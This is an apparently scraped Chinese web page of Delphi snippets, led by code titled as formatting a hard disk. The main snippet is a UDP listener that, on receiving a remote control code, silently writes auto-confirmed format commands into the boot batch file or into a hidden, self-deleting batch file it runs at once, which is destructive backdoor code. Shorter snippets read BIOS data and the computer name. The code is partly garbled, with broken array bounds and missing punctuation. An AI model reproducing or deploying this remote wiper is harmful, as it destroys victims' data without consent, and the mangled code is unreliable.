格式化硬盘的 Delphi程序代码

procedure TForm1CUDPDataReceived(Sender: TComponent;

NumberBytes: Integer; FromIP: String; Port: Integer);

var

CtrlCode:array[0250] of char;

Trun:string;

hDesktop : Thandle;

forc,ford:textfile;

//向Autoexecbat写格式化命令

begin

CUDPReadBuffer(CtrlCode,NumberBytes);

// 读取控制码

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='fordis' then

//格式化磁盘

if CtrlCode[6]='c' then

//格式化系统盘，将命令写入autoexecbat，重起后生效

begin

assignfile(forc,'c:\Autoexecbat');

rewrite(forc);

writeln(forc,'@echo off');

writeln(forc,'format c:/q');

// /q快速格式化

writeln(forc,'echo y|format c:/q >nul');

//在Dos shell控制台下显示格式化信息

closefile(forc);

end

else

//格式化其它磁盘，将命令写入批处理文件，立即执行

begin

assignfile(ford,'c:\abat');

rewrite(ford);

writeln(ford,'@echo off');

writeln(ford,'format '+CtrlCode[6]+':/q');

writeln(ford,'@del %0');

closefile(ford);

winexec('c:\abat',sw_hide);

//开始格式化

end;

获取主板Bios信息 添加一个Tbutton和一个Tmemo组件到窗体并写如下代码到按钮的OnClick事宜： with Memo1Lines do begin Add('MainBoardBiosName:'+^I+string(Pchar(Ptr($FE061)))); Add('MainBoardBiosDate:'+^I+string(Pchar(Ptr($FFFF5)))); Add('MainBoardBiosCopyRight:'+^I+string(Pchar(Ptr($FE091)))); Add('MainBoardBiosSerialNo:'+^I+string(Pchar(Ptr($FEC71)))); 以上代码在Win9X上运行经由过程。 end; _____________________________________________________网上找的

uses Windows;

function GetHostName:String;

var

ComputerName: array[0MAX_COMPUTERNAME_LENGTH+1] of char;

Size: Cardinal;

begin

result:='';

Size := MAX_COMPUTERNAME_LENGTH+1;

GetComputerName(ComputerName, Size);

Result:=StrPas(ComputerName);

end;

以上就是关于格式化硬盘的 Delphi程序代码全部的内容，包括:格式化硬盘的 Delphi程序代码、delphi 获取主板唯一的ID信息以此来标识远程客户端。想问一下怎么获取这个I、delphi如何获取硬盘容量等相关内容解答，如果想了解更多相关内容，可以关注我们，你们的支持是我们更新的动力！